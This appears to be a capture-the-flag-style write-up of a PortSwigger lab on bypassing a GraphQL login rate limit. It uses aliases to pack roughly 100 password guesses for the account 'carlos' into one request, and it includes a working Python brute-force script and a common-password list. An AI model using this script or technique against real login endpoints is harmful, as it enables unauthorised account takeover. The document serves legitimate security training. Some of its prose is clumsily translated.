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# GraphQL Anti-Brute-Force Protection Bypass
GraphQL Anti-Brute-Force Protection Bypass notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Bypassing GraphQL Brute Force Protections
#### Lab Context
The lab login form is based on an API **GraphQL** with a **rate limit**: after several incorrect attempts, theendpoint returns an error indicating that you must wait (e.g. 1 minute) before trying again.
Purpose: **gravate login** to connect as **carlos**, using the password list provided by the authentication labs.
```json
{
"query": "/nquery getBlogSummaries {/n getAllBlogPosts {/n image/n title/n summary/n id/n }/n}",
"operationName": "getBlogSummaries"
}
```
#### (1) Observation of the GraphQL Request
By intercepting the connection, we recover a mutation of the type:
```json
{
"query": "/n mutation login($input: LoginInput!) {/n login(input: $input) {/n token/n success/n }/n }",
"operationName": "login",
"variables": {
"input": {
"username": "carlos",
"password": "test"
}
}
}
```
After too many incorrect tests, the API answers with a limitation error:
```json
{
"errors": [
{
"path": [
"login"
],
"extensions": {
"message": "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
},
"locations": [
{
"line": 3,
"column": 9
}
],
"message": "Exception while fetching data (/login) : You have made too many incorrect login attempts. Please try again in 1 minute(s)."
}
],
"data": {
"login": null
}
}
```
### 2) Why Multiply Fields?
A natural idea is to send several `login` calls in **a single mutation**.
Authentication lab passwords
123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow
But if we repeat the same field without distinction, GraphQL refuses it because the fields would be ambiguous (same name at the same level).
```graphql
mutation login($input: LoginInput!) {
login(input: $input) {
token
success
}
}
```
Invalid example (incorrect structure / field collision):
```graphql
mutation login {
login(input: { username: "carlos", password: "test" }) {
token
success
}
}
```
```graphql
mutation{
login(input: { username: "carlos", password: "test" }) {
token
success
}
}
login(input: { username: "carlos", password: "hack" }) {
token
success
}
}
```
### 3) Contouring: Using Aliases
GraphQL makes it possible to rename each call using **aliases**. / Thus, you can execute **several login attempts in a single HTTP request**, which reduces the impact of the limit rate
Valid example:
```graphql
mutation login{
loginTest: login(input: { username: "carlos", password: "test" }) {
token
success
}
loginHack: login(input: { username: "carlos", password: "hack" }) {
token
success
}
}
```
As a result, the API processes several tests in a single window to limit the spleen side.
### 4) Automation (script approach)
Principle:
* Build `mutation login {... }`
* Add one line by password:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* Send request
* Browse `data.login{i}` to find `success: true`
```python
import requests
import time
url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
"Content-Type": "application/json",
"Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
"Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
"Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}
passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]
def brute_force_all_at_once():
print("[*] Creating GraphQL query with all passwords...")
query = "mutation login {/n"
for i, pwd in enumerate(passwords):
query += f' login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n token/n success/n }}/n'
query += "}"
print(f"[*] Query length: {len(query)} characters")
print(f"[*] Testing {len(passwords)} passwords at once...")
payload = {"query": query}
start_time = time.time()
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
for i, pwd in enumerate(passwords):
result = data.get("data", {}).get(f"login{i}")
if result and result.get("success"):
print(f"/n[+] SUCCESS!")
print(f"[+] Username: carlos")
print(f"[+] Password: {pwd}")
print(f"[+] Token: {result.get('token')}")
print(f"[+] Time: {time.time() - start_time:.2f} seconds")
return True
else:
print("[-] Password not found in the list")
else:
print(f"[-] HTTP Error: {response.status_code}")
print(response.text[:200])
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
print("=" * 50)
print("GraphQL Brute Force Attack")
print("Using aliases to bypass rate limiting")
print("=" * 50)
if brute_force_all_at_once():
print("/n[+] Attack completed successfully!")
else:
print("/n[-] Attack failed")
```
The password found for **carlos** is:
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